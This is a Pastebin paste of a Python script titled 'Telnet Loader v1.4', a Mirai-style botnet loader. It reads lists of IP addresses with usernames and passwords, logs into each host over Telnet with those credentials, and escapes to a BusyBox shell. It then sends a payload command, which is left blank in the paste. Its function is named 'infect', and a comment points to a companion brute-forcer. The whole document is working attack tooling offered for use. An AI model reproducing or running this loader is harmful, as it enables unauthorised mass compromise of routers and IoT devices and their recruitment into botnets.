Advertisement
LNO_LiGhT

Telnet Loader v1.4 *Minor Bug Fixes* | By LiGhT

Apr 21st, 2017
3,126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.01 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Telnet loader v1.4 *Minor bug fix* | By LiGhT
  3. # Update: Loads mirai format lists and "ip:user:pass" regular lists simultaneously and fixed IndexError issue
  4. # Bruter: https://pastebin.com/Xuw1usfi
  5.  
  6.  
  7. import sys, re, os, socket, time
  8. from multiprocessing import Process
  9.  
  10. if len(sys.argv) < 2:
  11.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
  12.  
  13. cmd="" #command to send
  14. info = open(str(sys.argv[1]),'a+')
  15.  
  16. def readUntil(tn, string, timeout=8):
  17.     buf = ''
  18.     start_time = time.time()
  19.     while time.time() - start_time < timeout:
  20.         buf += tn.recv(1024)
  21.         time.sleep(0.01)
  22.         if string in buf: return buf
  23.     raise Exception('TIMEOUT!')
  24.  
  25.  
  26. def infect(ip,username,password):
  27.     ip = str(ip).rstrip("\n")
  28.     username = username.rstrip("\n")
  29.     password = password.rstrip("\n")
  30.     try:
  31.         tn = socket.socket()
  32.         tn.settimeout(10)
  33.         tn.connect((ip,23))
  34.     except Exception:
  35.         tn.close()
  36.     try:
  37.         hoho = ''
  38.         hoho += readUntil(tn, "ogin")
  39.         if "ogin" in hoho:
  40.             tn.send(username + "\n")
  41.             time.sleep(0.09)
  42.     except Exception:
  43.         tn.close()
  44.     try:
  45.         hoho = ''
  46.         hoho += readUntil(tn, "assword:")
  47.         if "assword" in hoho:
  48.             tn.send(password + "\n")
  49.             time.sleep(0.8)
  50.         else:
  51.             pass
  52.     except Exception:
  53.         tn.close()
  54.     try:
  55.         prompt = ''
  56.         prompt += tn.recv(40960)
  57.         if ">" in prompt and "ONT" not in prompt:
  58.             try:
  59.                 success = False
  60.                 tn.send("cat | sh" + "\n")
  61.                 time.sleep(0.1)
  62.                 timeout = 8
  63.                 data = ["BusyBox", "Built-in"]
  64.                 tn.send("sh" + "\n")
  65.                 time.sleep(0.01)
  66.                 tn.send("busybox" + "\r\n")
  67.                 buf = ''
  68.                 start_time = time.time()
  69.                 while time.time() - start_time < timeout:
  70.                     buf += tn.recv(40960)
  71.                     time.sleep(0.01)
  72.                     for info in data:
  73.                         if info in buf and "unrecognized" not in buf:
  74.                             success = True
  75.                             break
  76.             except:
  77.                 pass
  78.         elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  79.             try:
  80.                 success = False
  81.                 timeout = 8
  82.                 data = ["BusyBox", "Built-in"]
  83.                 tn.send("sh" + "\n")
  84.                 time.sleep(0.01)
  85.                 tn.send("shell" + "\n")
  86.                 time.sleep(0.01)
  87.                 tn.send("help" + "\n")
  88.                 time.sleep(0.01)
  89.                 tn.send("busybox" + "\r\n")
  90.                 buf = ''
  91.                 start_time = time.time()
  92.                 while time.time() - start_time < timeout:
  93.                     buf += tn.recv(40960)
  94.                     time.sleep(0.01)
  95.                     for info in data:
  96.                         if info in buf and "unrecognized" not in buf:
  97.                             success = True
  98.                             break
  99.             except:
  100.                 pass
  101.         else:
  102.             tn.close()
  103.         if success == True:
  104.             try:
  105.                 tn.send(cmd + "\n")
  106.                 print "\033[32m[\033[31m+\033[32m] \033[33mCommand Sent!\033[32m %s"%(ip)
  107.                 time.sleep(20)
  108.                 tn.close()
  109.             except:
  110.                 tn.close()
  111.         tn.close()
  112.     except Exception:
  113.         tn.close()
  114.  
  115. for x in info:
  116.     try:
  117.         if ":23 " in x:
  118.             x = x.replace(":23 ", ":")
  119.         xinfo = x.split(":")
  120.         session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
  121.         session.start()
  122.         ip=xinfo[0]
  123.         username=xinfo[1]
  124.         password=xinfo[2]
  125.         time.sleep(0.01)
  126.     except:
  127.         pass
  128. session.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement